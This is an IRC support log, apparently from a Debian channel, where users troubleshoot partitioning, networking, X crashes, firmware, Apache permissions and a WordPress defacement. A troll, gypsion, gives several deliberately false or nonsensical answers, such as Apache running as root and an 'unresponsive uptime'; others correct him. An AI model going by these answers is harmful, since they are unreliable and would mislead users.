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| 13:35.34 | gypsion | iceroot: do you honestly think RAID will support 10 GB NICs? |
| 13:36.05 | iceroot | gypsion: what? |
| 13:36.17 | freakynl | gypsion: what do nics have to do with disks? |
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| 13:36.19 | iceroot | gypsion: why you are talking about nics now? |
| 13:36.24 | krakrjak | JohneyMnemnic: The easiest way I've found is to create a list of packages and after firt boot of a system install them. For MASS replication look into FAI |
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| 13:36.58 | krakrjak | gypsion: if you mean can I use mdadm on top of iSCSI devices. Yes! |
| 13:37.39 | freakynl | krakrjak: why would you want to do that? usually your san already does raid |
| 13:37.54 | JohneyMnemnic | krakrjak, thats sounds like i have to install OS one more time? |
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| 13:38.41 | krakrjak | JohneyMnemnic: ??? |
| 13:39.03 | krakrjak | JohneyMnemnic: so if you installed python, perl, C and java under Ubuntu then you are done. |
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| 13:39.16 | krakrjak | JohneyMnemnic: just start using it. |
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| 13:40.14 | freakynl | err that was for gypsion... the other way around however, we export md raid sets through iscsi with ietd |
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| 13:42.56 | gypsion | damn trolls. |
| 13:43.17 | ham5 | kill em all |
| 13:43.21 | freakynl | ? |
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| 13:46.37 | JohneyMnemnic | krakrjak, ive just started, and then came "U need that module", ok, i want to install it, than come "this module require that, that, and that", ok, i want to install "that#1", but than com. "this req. smthg else#1, smthg els#2". Ok, im new here, i work with linux only few days, but i only want stable programming "table"...or better ill go to find other job : / Better for every1. |
| 13:46.44 | gypsion | i bet even SATA III drives don't even run or can't compare to processors. |
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| 13:47.26 | gypsion | that's why SSDs are shipping out. |
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| 13:48.35 | gypsion | i mean, what's the use for 3 different ext filesystem versions? |
| 13:49.03 | ham5 | lol |
| 13:49.22 | ham5 | why do they come out with newer version of anything g's i just dont get it |
| 13:49.31 | gypsion | they say it will support mass volumes of storage maybe for clusters but, it doesn't sound like performance is a big deal to them. |
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| 13:49.51 | krakrjak | JohneyMnemnic: Well that's going to happen. The base install from Debian doesn't come with the kitchen sink, you have to pick out your counter tops and cabinets. So when you go to install perl modules or python modules or system libraries they will install the needed packages so it will all work. |
| 13:50.10 | krakrjak | JohneyMnemnic: Sometimes that's a lot of little packages. |
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| 13:50.42 | krakrjak | JohneyMnemnic: So as you find missing pieces just install them and move on. It works pretty well here. |
| 13:50.43 | gypsion | krakrjak: moving on up? |
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| 13:51.05 | SushiDude | Hi |
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| 13:51.14 | krakrjak | gypsion: to the E side. |
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| 13:51.41 | gypsion | I rep the west coast, if you dare ask. |
| 13:52.11 | krakrjak | gypsion: Cali or Oregon? |
| 13:52.31 | krakrjak | Hi SushiDude what's up? |
| 13:52.34 | SushiDude | Can someone tell me why Debian partitioned only 321.5MiB for /? |
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| 13:52.46 | krakrjak | did it make other partitions? |
| 13:52.59 | SushiDude | krakrjak, hi |
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| 13:53.24 | SushiDude | I did an encrypted LVM |
| 13:53.33 | SushiDude | krakrjak, yes. |
| 13:53.40 | krakrjak | so it made a small / and the rest is in encrypted LVM? |
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| 13:54.13 | frostschutz | / doesn't have to be large when /usr /var /opt etc. is offloaded to other mounts |
| 13:54.26 | Woet | when restarting networking, I get "Running /etc/init.d/networking restart is deprecated because it may not enable again some interfaces " |
| 13:54.32 | Woet | so what is the recommend command? |
| 13:54.34 | Woet | recommended * |
| 13:54.35 | SushiDude | I just got a waring that it is 96% full |
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| 13:55.03 | norbert_ | hey all, I upgraded to testing recently and ever since X crashes when I start certain applications |
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| 13:55.21 | norbert_ | I thought it was just with Skype, but it also happens when I start Konqueror and VirtualBox |
| 13:55.43 | frostschutz | Woet: it's recommended to get the networking config right so you don't have to restart it. other than that, ifup/ifdown <device> maybe |
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| 13:55.43 | SushiDude | I might just have to reinstall. |
| 13:55.43 | norbert_ | maybe there are other applications, but these 3 I found so far that always instantly crash X |
| 13:56.01 | SushiDude | These partitions are way to small and /home is huge.. |
| 13:56.09 | Woet | frostschutz: right, but I'm connected to the server remote. Doing ifdown will prevent me from doing ifup again. |
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| 13:57.11 | SushiDude | So why does it make so small partitions? |
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| 13:57.32 | JohneyMnemnic | krakrjak, yep, but i use automatized installer 4ex. synaptic, CPAN, and this work not for all. 4ex. ive been stuck on perl module JavaScript::SpiderMonkey. Install script out:" U need SPiderMonkey C lib. Downl. compile, and link it". I have downloaded, compiled, and what? eeh, ill go better and drink one. Bye. |
| 13:57.34 | frostschutz | Woet: use ip addr add/del route add/del etc. Personally I prefer to schedule a reboot when playing with the network configuration to make sure it'll come back up when it reboots unexpectedly |
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| 13:58.00 | SushiDude | makes* |
| 13:58.03 | pipo65 | hi |
| 13:58.08 | norbert_ | let's see if kdenlive also crashes my X |
| 13:58.15 | SushiDude | Well I am going to reinstall -_- |
| 13:58.23 | SushiDude | good bye |
| 13:58.26 | pipo65 | repository codec intel inde0 5 |
| 13:58.42 | pipo65 | repository codec intel indeo 5 |
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| 13:59.04 | norbert_ | (it does) |
| 13:59.12 | pipo65 | what is repository multimedia debian |
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| 13:59.40 | pipo65 | help |
| 13:59.43 | norbert_ | pipo65: http://debian-multimedia.org/ |
| 13:59.51 | norbert_ | that was like 1 second and the first hit in Google |
| 13:59.56 | pipo65 | in sources-list |
| 14:00.03 | norbert_ | scroll down on that page |
| 14:00.05 | norbert_ | read |
| 14:00.07 | pipo65 | add sources |
| 14:00.08 | abrotman | pipo65: read the website, it tells you how to do it |
| 14:00.31 | pipo65 | ?? |
| 14:00.33 | abrotman | pipo65: read the website, it tells you how to do it |
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| 14:00.55 | mman | how to define a environmental variable? |
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| 14:01.04 | pipo65 | deb-http://debian-multimedia.org |
| 14:01.13 | abrotman | pipo65: READ THE WEBSITE |
| 14:01.16 | norbert_ | I wonder what these applications have in common, virtualbox, skype, kdenlive and konqueror |
| 14:01.17 | pipo65 | deb-http://debian-multimedia.org <-- add in sources |
| 14:01.23 | norbert_ | virtualbox is not a kde application, I think... |
| 14:01.33 | ajikeshi_ | afaik its gtk based |
| 14:01.35 | norbert_ | let me try starting the kde calculator |
| 14:01.51 | norbert_ | started KCalc and my X didn't crash |
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| 14:02.59 | norbert_ | I want to file a bug report and know how to do that, but what details should I add? |
| 14:03.10 | norbert_ | /var/log/Xorg.0.log doesn't seem to contain crash info |
| 14:03.42 | norbert_ | Jul 27 15:37:14 ren kernel: [72887.786292] warning: `VirtualBox' uses 32-bit capabilities (legacy support in use) |
| 14:03.42 | norbert_ | Jul 27 15:58:13 ren kernel: [74146.482005] melt[32758]: segfault at 0 ip b1e24fea sp bfcc2a00 error 4 in libQtCore.so.4.7.3[b1dce000+29d000] |
| 14:03.51 | norbert_ | I do see that in /var/log/messages |
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| 14:04.01 | norbert_ | VirtualBox is one of the apps that crashes my X |
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| 14:04.27 | krakrjak | I'd do it again! |
| 14:04.37 | krakrjak | Can you get more log data? |
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| 14:06.44 | pierrep | hi |
| 14:06.49 | norbert_ | I think I will kill gdm, start X from a console and see if it has any messages when the thing crashes |
| 14:06.51 | norbert_ | brb |
| 14:06.59 | pierrep | I got some question about a bridge eth0 to wlan0 |
| 14:07.38 | pierrep | i got 192.168.0.6 for eth0 and 192.168.0.13 on br0 and on wlan0 is that an error? |
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| 14:08.50 | gypsion | krakrjak: Arizona. |
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| 14:09.49 | Kobaz | it seems the new libc6 is causing some problems with building kernel code |
| 14:09.50 | Kobaz | /usr/include/gnu/stubs.h:7:27: error: gnu/stubs-32.h: No such file or directory |
| 14:10.26 | Kobaz | /usr/include/gnu/stubs-32.h is in libc6 2.13-4 but not in libc6 2.13-11 |
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| 14:11.27 | Kobaz | is there a transitional package? or do i need to start making symlinks |
| 14:11.45 | smacnay | Is nautilus carried over into Gnome3? |
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| 14:15.08 | norbert_ | got a nice crash log |
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| 14:16.48 | mman | how to define a environmental variable? |
| 14:17.23 | norbert_ | on the console, use export TEST=BLAAT |
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| 14:17.29 | norbert_ | and then try: set|grep TEST |
| 14:17.38 | norbert_ | here is my X crash log: http://pastebin.com/yB6dXLYQ |
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| 14:18.22 | norbert_ | Segmentation fault at address (nil), apparently |
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| 14:21.16 | NoOova | hi all! how i could do dist upgrade? from lenny to scqueze |
| 14:21.48 | norbert_ | NoNaMeNo: did you google |
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| 14:21.58 | zxd | hi |
| 14:22.02 | zxd | does debian have xen 4? |
| 14:22.02 | norbert_ | plenty of docs about it |
| 14:22.03 | norbert_ | see http://www.debiantutorials.com/upgrade-from-lenny-to-squeeze/ |
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| 14:22.12 | norbert_ | or http://www.cyberciti.biz/faq/howto-upgrade-debian-linux-lenny-to-squeeze-testing/ |
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| 14:22.14 | norbert_ | and so on |
| 14:22.15 | norbert_ | google.com |
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| 14:23.45 | norbert_ | zxd: http://packages.debian.org/search?keywords=Xen&searchon=names&suite=stable§ion=all |
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| 14:30.07 | NoOova | norbert_: thanx =) in process |
| 14:32.56 | junix659 | hey everyone question, i am trying to setup a seperate server for Ajaxplorer (seperate web and mysql) and am having some problems, I would like to get this working with MySQL, but this is proving to be difficult since I know very little about MySQL and can't get any help. I guess my next question is could someone recommend a better method, AjaXplorer gives me the optin to use Samba shares, FTP, SSH, WebDav, local file storage (which i'm not s |
| 14:32.57 | junix659 | ure i want to use). If i could get some assistance or some direction that would be great. |
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| 14:35.41 | norbert_ | by "seperate server" do you mean another server, or are you just trying to get apache and mysql up and running |
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| 14:36.49 | junix659 | norbert_: i am trying to keep mysql and apache servers seperate only because the mysql server has potential to be used for other things.... |
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| 14:37.59 | norbert_ | maybe try #httpd? |
| 14:38.23 | leafcutter9000 | Does anyone know why my wireless card would work on Crunchbang (based on Debian 6) but not Debian itself? |
| 14:38.27 | norbert_ | you didn't really describe what problems you run into |
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| 14:38.48 | norbert_ | you wrote it is "providing to be difficult", but it's difficult to help you with just that information |
| 14:39.09 | junix659 | norbert_: i apologize |
| 14:39.42 | norbert_ | leafcutter9000: what is your wireless card? |
| 14:39.46 | jmt | leafcutter9000: proprietary blobs in the kernel? non free firmware? |
| 14:39.51 | norbert_ | leafcutter9000: maybe Crunchbang has some extra drivers |
| 14:40.06 | leafcutter9000 | Linksys PCI card, based on the RALink chipset I believe |
| 14:40.09 | leafcutter9000 | Not at home to check |
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| 14:41.37 | junix659 | norbert_: the product i'm trying to setup is www.ajaxplorer.info I am trying to get it working with MySQL across the 2 server ( a front facing web server with a MySQL server not opened to the outside). I have MySQL talking to the rest of the network, and it seems that I can connect to the server but I can't add users or upload files. I can't seem to get any errors from ajaxplorer that are good enough to start digging, haven't really looked a |
| 14:41.37 | junix659 | t mysql logs yet. I hope this helps you in helping me, I would really appreciate it. |
| 14:41.39 | woshty | oh, you do not need Virtual in xorg.conf anymore .. so no xorg.conf at all if autodetect works |
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| 14:42.09 | Konata | Is there a way to submit an update request for older packages in the debian repos |
| 14:42.27 | leafcutter9000 | The Debian Wiki says to add the non-free repository, but of course I can't do that until I have internet access :| |
| 14:42.41 | leafcutter9000 | Does Debian not supply CDs with binary firmware already included? |
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| 14:43.32 | norbert_ | Konata: I guess if you know the package you can look it up at debian.org and message the maintainer or something |
| 14:43.52 | Bushmills | leafcutter9000: firmware-linux-free is very likely on the cd |
| 14:44.01 | Konata | norbert_: Thanks. There's a really old version of nginx on there that should be replaced |
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| 14:44.37 | jmt | download firmware-ralink .deb file and install with dpkg? |
| 14:44.44 | leafcutter9000 | Bushmills: I need the non-free firmware on the CD |
| 14:45.02 | jmt | do you not have a flash drive or another way to get it on the pc? |
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| 14:45.11 | Bushmills | leafcutter9000: is your question "why doesn't debian offer non-free stuff" or "why isn't the firmware which i need free"? |
| 14:45.31 | leafcutter9000 | Bushmills: Why doesn't Debian offer the non-free firmware? I had no problems with ubuntu/crunchbang |
| 14:45.40 | leafcutter9000 | Not very user friendly |
| 14:45.41 | norbert_ | Konata: http://packages.debian.org/squeeze/nginx |
| 14:45.48 | norbert_ | Konata: on the right, the maintainers |
| 14:45.50 | Bushmills | leafcutter9000: because debian policy is "free", ubuntu's isn't |
| 14:45.52 | jmt | lol user friendly |
| 14:46.18 | jmt | its not free - hence it is not in debian |
| 14:46.41 | leafcutter9000 | But you have non-free repositories which everyone uses! So Debian isn't entirely free... It just makes things very awkward |
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| 14:46.47 | Bushmills | leafcutter9000: no user friendly, i agree. blame the companies which release non-free binary driver blobs for supporting their hardware |
| 14:46.52 | norbert_ | junix659: probably ask at #httpd, if nobody here can help |
| 14:47.03 | junix659 | junix659: really? |
| 14:47.08 | junix659 | hahaha |
| 14:47.11 | junix659 | norbert_: really? |
| 14:47.14 | leafcutter9000 | Bushmills: Agreed, next time I'll research better and buy a card which comes with free firmware in the first place |
| 14:47.23 | Bushmills | leafcutter9000: that's the spirit |
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| 14:48.03 | Konata | Thanks much norbert_. I'll look into this. |
| 14:49.03 | NoOova | after update i have (none) where must be hostname |
| 14:49.09 | NoOova | what was wrong? |
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| 14:49.44 | norbert_ | after an update of what and where do you have "(none)" |
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| 14:50.41 | NoOova | after update from lenny to squeeze where was "root@hostname" now is "root@(none)" |
| 14:50.44 | norbert_ | probably check /etc/hosts or something |
| 14:50.52 | NoOova | but /etc/hostname is correct |
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| 14:51.10 | gonzzor | What does the command hostname say? |
| 14:51.13 | Woet | can someone point out why this network configuration is invalid? http://pastebin.com/ugwpcCer - it doesn't add any of the additional ipv6 addresses (the 'up /sbin/ifconfig' lines) and /etc/init.d/networking restart or ifdown/ifup messes it up and requires a reboot |
| 14:51.38 | NoOova | (none):/etc# hostname |
| 14:51.41 | NoOova | (none) |
| 14:51.53 | gonzzor | If you do hostname <your-hostname> |
| 14:51.54 | Bushmills | NoOova: hostname foo; hostname > /etc/hostname |
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| 14:52.09 | themill | Woet: the message that "/etc/init.d/networking restart" gives you an idea on why the latter doesn't work. |
| 14:52.11 | NoOova | <PROTECTED> |
| 14:52.14 | NoOova | wcs_ds01 |
| 14:52.24 | NoOova | on hostname rights is 666 |
| 14:52.31 | Woet | themill: stop/start results in the same problems. |
| 14:53.38 | Bushmills | themill: xx.xx.xx.xx are illegal addresses and should produce syntax errors |
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| 14:53.54 | NoOova | hm maybe i know |
| 14:53.54 | Bushmills | ehm. Woet, i mean |
| 14:54.04 | NoOova | in lenny "_" in hostname was correct |
| 14:54.05 | Woet | Bushmills: i replaced my ip addresses with xx.. |
| 14:54.13 | NoOova | but in squeeze it is not correct |
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| 14:54.49 | Bushmills | Woet: that may be why it complains |
| 14:55.07 | Woet | Bushmills: just for the sake of pasting it, obviously. it has the correct IP addresses in the configuration |
| 14:55.22 | NoOova | yes. it is "_" |
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| 14:55.32 | Bushmills | oh, "obviously" |
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| 14:57.39 | Accroft | Hi (: I was wondering, if someone could help me with my wireless network on a Debian installation? |
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| 14:57.49 | Woet | just ask your question(s), Accroft |
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| 14:59.20 | Accroft | My problem is, when i use the command ifup wlan0, it alwyas hangs at "DCHPdiscover".. Then i just stops it, because there is no use.. If it worked, it would have responed faster |
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| 15:03.43 | NoOova | What i must check after server os update? |
| 15:03.52 | NoOova | debian lenny to squeeze |
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| 15:04.02 | NoOova | very scarry |
| 15:04.07 | gypsion | lenny just squeezes to get to wheezy. |
| 15:04.30 | gypsion | *etch* |
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| 15:05.51 | Accroft | I'm just gonna paste my question again, in case someone missed it: My problem is, when i use the command ifup wlan0, it alwyas hangs at "DCHPdiscover".. Then i just stops it, because there is no use.. If it worked, it would have responed faster |
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| 15:06.32 | gypsion | that's because your uptime is unresponsive. |
| 15:07.15 | Accroft | gypsion, how to solve it? |
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| 15:08.02 | gypsion | you must use port forwarding first. then get experience with IPs. then use a DHCP server in your LAN. It's a gateway thing. |
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| 15:08.16 | timholum | I know I can do cat *|grep mystring, but that only outputs my string, not the filename that contains it |
| 15:08.22 | timholum | is there a way to search a bunch of files and if the file has a string to output the filename? |
| 15:08.27 | Woet | timholum: grep "mystring" * |
| 15:08.29 | shanepardue | Is Gnome3/gnome-shell installable and working properly in Testing yet? |
| 15:08.43 | shanepardue | ok with using experimental packages if necessary |
| 15:08.48 | krakrjak | what Woet said you don't need cat when you are grepping. |
| 15:08.57 | Woet | gypsion: what are you talking about? or am I missing questions/things he said before? I see nothing in his question related to port forwarding/IPs/gateways, just a normal DHCP server on the router I suppose |
| 15:09.26 | timholum | Thanks :) |
| 15:09.35 | Woet | themill / Bushmills: maybe this helps explain the problem better: http://forums.debian.net/viewtopic.php?f=5&t=67486 |
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| 15:09.51 | Woet | timholum: use -i for case insensitive and -R for recursively looking into dirs |
| 15:10.08 | Accroft | gypsion, Are you sure? Because, i friend of mine, did something, that made the device work.. But we then tried to connect it to a network that used tek (I think it was), so we had to use wpa_supplicant. But now the device in gnome says "device not configured" |
| 15:10.21 | Accroft | *a friend |
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| 15:10.50 | catsup | lol |
| 15:10.52 | gypsion | if it's a router, then shoot it. if it's a gateway, then config it. |
| 15:10.54 | catsup | your uptime is unresponsive, friend |
| 15:11.08 | timholum | that worked perfectly, thanks A bunch of the websites I am hosting got hacked, they all have "Hacked by silent-hell" in them, this will help me figure out which one's got hacked, thanks again |
| 15:11.25 | catsup | lol timholum |
| 15:11.37 | timholum | it is looking like its a wordpress hack |
| 15:11.52 | catsup | timholum: you will need someone who really knows how to audit your system or else reinstall everything |
| 15:11.53 | timholum | due to only sites with a wordpress backend got hacked |
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| 15:12.01 | MarKsaitis | what user apache2 httpd runs as? |
| 15:12.25 | timholum | they are runing on 1and1 hosted ( I have been slowly moving away from that the past 6 months ) |
| 15:12.32 | gypsion | MarKsaitis: root. |
| 15:12.33 | Accroft | What does it mean my uptime is responsive? what can i do to config it, then? gypsion, how to do that then? |
| 15:12.47 | MarKsaitis | gypsion, you got to be kidding |
| 15:12.52 | gypsion | ask your network admin if you don't know how. |
| 15:13.10 | themill | gypsion, MarKsaitis: www-data. Check ps if you're unsure. |
| 15:13.13 | krakrjak | timholum: debsums is big help and I can recommend rkhunter, tripwire and logcheck |
| 15:13.19 | Bushmills | timholum: the term is, afaik, "broken into", "compromised" or "cracked". "to hack/to have hacked" doesn't describe web site intruding and defacing |
| 15:13.49 | MarKsaitis | themill, thanx. I will check it. Thats strange since sometimes it runs under apache, sometimes httpd...... why the hell this stuff is ever changing |
| 15:13.56 | MarKsaitis | no logic whatsoever |
| 15:13.57 | Accroft | gypsion, i can't see why that would help. Because the device won't scan for networks.. It says it's not configured... |
| 15:14.01 | catsup | timholum: even if it is just user accounts that have been compromised, there could be backdoors inserted anywhere now |
| 15:14.05 | themill | MarKsaitis: debian has used www-data for as long as I can remember. |
| 15:14.27 | catsup | timholum: closing the original security flaw is NOT enough once the floodgates have been opened |
| 15:14.30 | timholum | I dont have root access to the server, it is a shared host |
| 15:14.37 | MarKsaitis | themill, im new to debian. But I mean, this apache application is the same shit running on the same systems =)))) |
| 15:14.45 | MarKsaitis | adds extra confusion |
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| 15:15.12 | themill | MarKsaitis: it would be even more confusing if your lighttpd http server were running with the user "apache". |
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| 15:15.46 | gypsion | if you need more websites in your server, you should configure the 'sites-available' in your /etc/apache2 dir. |
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| 15:16.26 | gypsion | there's Documentation @debian.org. |
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| 15:17.15 | themill | gypsion: is there a Debian support question we can help you with? |
| 15:17.23 | MarKsaitis | themill, my apache2 runs as root |
| 15:17.27 | gypsion | nope. just trying to help themselves. |
| 15:17.44 | MarKsaitis | and as I understand this is how it is by default as it is a fresh system |
| 15:17.50 | themill | MarKsaitis: the master process runs as root, anything that is actually serving requests runs as www-data |
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| 15:18.00 | MarKsaitis | I see |
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| 15:18.11 | MarKsaitis | so what rights do I need to give to my /var/www ? |
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| 15:19.02 | themill | MarKsaitis: that's a bit like asking "what colour is Tuesday". That depends on what you are wanting to achieve. |
| 15:19.22 | gypsion | MarKsaitis: you should ask your net-admin to config your DNS domain and web server to access html in your Public folder in /home. |
| 15:19.31 | MarKsaitis | I just want to server a couple of simple pages lets say |
| 15:19.47 | themill | MarKsaitis: the default setup allows exactly that. |
| 15:19.56 | MarKsaitis | gypsion, im on my own server |
| 15:20.09 | themill | gypsion: perhaps you should try to be more signal and less noise. |
| 15:20.10 | Bushmills | MarKsaitis: apache may be overkill for a couple of simple pages |
| 15:20.18 | themill | MarKsaitis: ignore gypsion. He's not helping. |
| 15:20.27 | MarKsaitis | themill, so it doesnt matter whether I chown all as www-data or root, does it |
| 15:20.31 | gypsion | if you want u can ban me. i'd appreciate it. |
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| 15:20.47 | MarKsaitis | Bushmills, I just gave an example. I will be running some php mysql stuff |
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| 15:20.59 | Bushmills | "serving pages" is supposedly a read-only operation? |
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| 15:21.33 | MarKsaitis | Bushmills, I dont know whether my apps will need a lil bit of write access there as I havent learned a lot about them yet |
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| 15:21.53 | Bushmills | well, on that depend the permissions which you want to give |
| 15:21.54 | MarKsaitis | I just want to know whether I need to chown anything as www-data |
| 15:22.00 | MarKsaitis | or root is ok |
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| 15:22.02 | webad_13 | how can I take a screenshot of X session on DISPLAY=:0 from terminal (ssh) |
| 15:22.23 | Bushmills | you can't set permissions "right" for something about which you don't know yet what kind of access you want to allow |
| 15:23.05 | themill | MarKsaitis: the apache process does not need to own the files to be able to serve them. In general, they should not be owned by www-data. They should be owned by *you* and your www-data user should have the right to read them (through a "group" or "other" mode) |
| 15:23.24 | MarKsaitis | Bushmills, true. For a start, I just want to know how does it all work with root and ww-data being used by apache server. Will a file chowned by www-data be writable by the apache server? That is the question |
| 15:23.46 | Bushmills | i suggest, set them strict, and relax them where needed |
| 15:24.15 | themill | MarKsaitis: yes, if it's owned by www-data it will be writeable by www-data. That's not a situation that most people are comfortable with. |
| 15:24.19 | Bushmills | files don't need to be owned by www-data. they need to be readable |
| 15:24.56 | MarKsaitis | ok. So if I want that file/dir to be writable, then I need to make sure www-data has write access to it? is that correct? |
| 15:24.57 | gypsion | MarKsaitis: you might want to chown your files to the proper user on that domain. |
| 15:25.25 | Bushmills | and so do the directories which contain the files, accessable. all they down from root to directory where the files are |
| 15:25.34 | Bushmills | all the way down ... |
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| 15:26.38 | MarKsaitis | I have a normal user on the server. www files are owned by him in /var/www/files. I have one dir I want apache to be able to write in. Does www-data need to be in user1 group or is it the way round? |
| 15:26.55 | gkwhc | Hi I am new to debian. How can I remove perl-base without removing its dependencies? |
| 15:27.09 | woshty | how do I get both monitors in a dualhead setup to switch off via dpms? |
| 15:27.17 | gypsion | MarKsaitis: /home/user/Public/www. done. |
| 15:27.29 | Bushmills | MarKsaitis: check out user homes. simplifies permissions for the occasional user who needs write permissions |
| 15:27.50 | psilikon | webad_13, That is a good question. So I looked it up using The Google. You use ImageMagik's import function. |
| 15:28.18 | MarKsaitis | Bushmills, I use /var/www to store the main domain site |
| 15:28.26 | Bushmills | for "a" directory for www-data to write to, you can make www-date owner of that directory |
| 15:28.42 | MarKsaitis | I just want to know which way is better. Is it better to add user1 to www-data's group or the other way around? |
| 15:28.56 | MarKsaitis | Bushmills, I understood that already |
| 15:29.03 | MarKsaitis | you were pointing me to better methods |
| 15:29.09 | MarKsaitis | using groups |
| 15:29.12 | MarKsaitis | I liked that one |
| 15:29.32 | Bushmills | adding user to www-data doesn't affect how apache may access files |
| 15:29.38 | Woet | can someone point out why this network configuration is invalid? http://pastebin.com/ugwpcCer - it doesn't add any of the additional ipv6 addresses (the 'up /sbin/ifconfig' lines) and /etc/init.d/networking restart or ifdown/ifup messes it up and requires a reboot |
| 15:29.54 | MarKsaitis | Bushmills, but it does affect and add write capability |
| 15:30.05 | Bushmills | it affects how user may access files which belong to group www-data |
| 15:30.22 | webad_13 | psilikon: :) I got to the same after a while... the only thing is if I use root fro window, I get blank windows when I save it to file |
| 15:30.28 | MarKsaitis | I just understood that too |
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| 15:30.35 | webad_13 | psilikon: but reading more through man should do it :)\ |
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| 15:30.42 | negge | MarKsaitis: let's say your files are owned by root:www-data with permissions 644 |
| 15:30.56 | negge | then you just run chmod g+w on the directory you need to give Apache write access to |
| 15:31.07 | MarKsaitis | I think everything is clear for me now. I will add www-data to users group and everything will be ok |
| 15:31.08 | MarKsaitis | ;] |
| 15:31.46 | psilikon | webad_13, http://beans.seartipy.com/2006/07/30/different-ways-of-taking-screenshots-in-gnulinux/ is this what you looked at? |
| 15:31.51 | negge | MarKsaitis: generally you don't want www-data to have access to anything other than what it needs, so if you add it to the user's own group theoretically the webserver can read his home directory |
| 15:32.12 | dokma | skip the theoretically |
| 15:32.19 | MarKsaitis | negge, ok ;] |
| 15:32.29 | negge | dokma: yeah you're right |
| 15:33.25 | negge | personally I force www-data to have read-only access to all files under /var/www with ACLs and just disable the ACL inheritage on the dirs it needs to have more permissions to |
| 15:33.43 | negge | that way I don't have to bother who owns what files |
| 15:34.01 | MarKsaitis | ok |
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| 15:34.14 | negge | but that's a bit more complicated |
| 15:34.44 | webad_13 | psilikon: I just had a look at the link... it is pretty much what I was doing... but for some reason when I use root my terminal is shown as blank (black), seems to be ok with other windows.. |
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| 15:36.03 | gypsion | negge: sounds _way_ too complicated. |
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| 15:36.35 | negge | gypsion: it's more complicated to keep track of permissions when you have 5 guys editing files under /var/www |
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| 15:36.55 | gypsion | yeah. bash scripts are useful but tedious. |
| 15:37.07 | negge | who said anything about bash scripts+ |
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| 15:37.21 | themill | gypsion: if you'd like to play somewhere, perhaps #defocus would be better. |
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| 15:37.39 | jhutchins_lt | I do not see the point of a twelve second boot when it still takes more than 90 seconds to finish loading the desktop after you log in. |
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| 15:38.53 | negge | themill: what did you do? |
| 15:38.57 | negge | he* |
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| 15:39.24 | themill | negge: unhelpful chatter turned into threatening behaviour. I can't be bothered with that. |
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| 15:41.02 | psilikon | webad_13, yeah same thing here. Let me know if you figure it out. |
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| 15:42.06 | negge | themill: I see what you mean now that I scrolled up a little :p |
| 15:42.24 | krakrjak | rofl |
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| 15:45.12 | Posterdati | hi |
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| 15:45.46 | Posterdati | please how can I install debian on an arm system using deboostrap + normal pc + usb key? Thanks |
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| 15:47.51 | daemonkeeper | Posterdati: You want to bootstrap an ARM Debian from a x86 PC? |
| 15:47.57 | Posterdati | yes |
| 15:48.08 | Posterdati | is multistrap better? |
| 15:48.14 | jhutchins_lt | ,versions squirrelmail |
| 15:48.14 | judd | Package squirrelmail on i386 -- lenny: 2:1.4.15-4+lenny3.1; lenny-security: 2:1.4.15-4+lenny3.1; squeeze: 2:1.4.21-1; wheezy: 2:1.4.21-1; sid: 2:1.4.22-1; experimental: 2:1.5.1-5 |
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| 15:48.37 | Posterdati | daemon: on target arm I've got only usb and kernel 2.6.13 booted from flash using redboot |
| 15:48.42 | Posterdati | sorry uboot |
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| 15:49.03 | Posterdati | daemonkeeper: ep9302 |
| 15:49.40 | daemonkeeper | Posterdati: I don't think this is possible. The ABIs make it really hard/impossible to do this, as you have to execute ARM binaries in the bootstrap chroot. You can, however, try to boot from USB on the target machine? |
| 15:49.43 | Posterdati | daemon: I was able to boot a debian image on the usb key |
| 15:49.56 | daemonkeeper | So, what's the problem then? |
| 15:50.22 | Posterdati | daemonkeeper: I don't know how boot an installation from usb key |
| 15:50.42 | themill | http://wiki.debian.org/EmDebian/CrossDebootstrap |
| 15:50.52 | daemonkeeper | Pretending your hardware supports this, this is not different than booting from CD |
| 15:51.12 | Posterdati | yes, but have I to repartition the key? |
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| 15:52.03 | daemonkeeper | No, use dd. See http://www.debian.org/releases/stable/i386/ch04s03.html.en |
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| 15:52.30 | daemonkeeper | Alternatively do, what themill linked you (although that's much more complicated) |
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| 15:54.51 | dw | as in, revision control repository |
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| 15:55.55 | lapsusbrutus | libSDL-1.2.so.0 I need a 32bit version of this one on my 64 bit os.. whats the best way to make that work? |
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| 15:57.01 | themill | lapsusbrutus: apt-file is your friend; /msg dpkg apt-file |
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| 15:58.17 | Posterdati | daemonkeeper, themill: t |
| 15:58.19 | Posterdati | daemonkeeper, themill: thanks |
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| 16:00.36 | lapsusbrutus | themill: thanks, so this can easily allow me to download 32 bits version of this lib even if not in the repos? |
| 16:01.10 | themill | lapsusbrutus: no, it will help you to determine that this file is indeed already in the repos for you ;) |
| 16:02.11 | lapsusbrutus | it is, but the 64 bit version |
| 16:02.19 | themill | lapsusbrutus: keep looking.... |
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| 16:02.53 | themill | ,file lib32/libSDL-1.2.so.0 --arch amd64 |
| 16:03.00 | judd | lib32/libSDL-1.2.so.0 in squeeze/amd64: ia32-libs: usr/lib32/libSDL-1.2.so.0 |
| 16:03.28 | lapsusbrutus | error while loading shared libraries: libSDL_image-1.2.so.0: wrong ELF class: ELFCLASS64 get this error, and I got it 64bit installed. but this is a 32bit program that dont like the installed lib |
| 16:04.04 | burhan | I am going to get an exception at work for accessing debian archives so I can get updates, other than port 80, does aptitude use any other ports? |
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| 16:08.10 | lapsusbrutus | /usr/lib32/libSDL-1.2.so.0 ok, file existed.. thanks judd and themill |
| 16:08.24 | lapsusbrutus | but not working :\ |
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| 16:15.32 | dokma | how do I build a debian package from the source tree of xdebug ?? |
| 16:15.46 | dokma | I've downloaded the source from xdebug git repository |
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| 16:16.07 | MarKsaitis | what is the name of mod_rewrite package? |
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| 16:16.25 | dokma | the build procedure for xdebug is : phpize; ./configure --enable-xdebug; make; make install |
| 16:16.36 | MarKsaitis | what is the name of mod_rewrite package? |
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| 16:19.20 | colo-work | should be included in apache2 by default |
| 16:19.22 | colo-work | just not enabled |
| 16:19.32 | colo-work | run `a2enmod` to change that |
| 16:19.51 | burhan | MarKsaitis: try a2enmod rewrite |
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| 16:20.58 | eshat | I have to bridge interfaces on a server but can only ssh to one IP, any ideas ? |
| 16:21.02 | eshat | s/to/two/ |
| 16:21.33 | themill | dokma: updating the source within the existing php package would be a better plan. "/msg dpkg package recompile" for the remaining steps. You may want to look at the dh-make-php package too. |
| 16:21.35 | EdePopede | hello all. one quick question: how do i get rid of this "feature" that reacts on EVERY inserted usb stick or attached usb-disk? it is lxde, ok, but i want to stop this on a level as low as possible. i prefer to edit fstab and to use mount ;) |
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| 16:27.43 | wols_ | EdePopede: so what automounter do you use? |
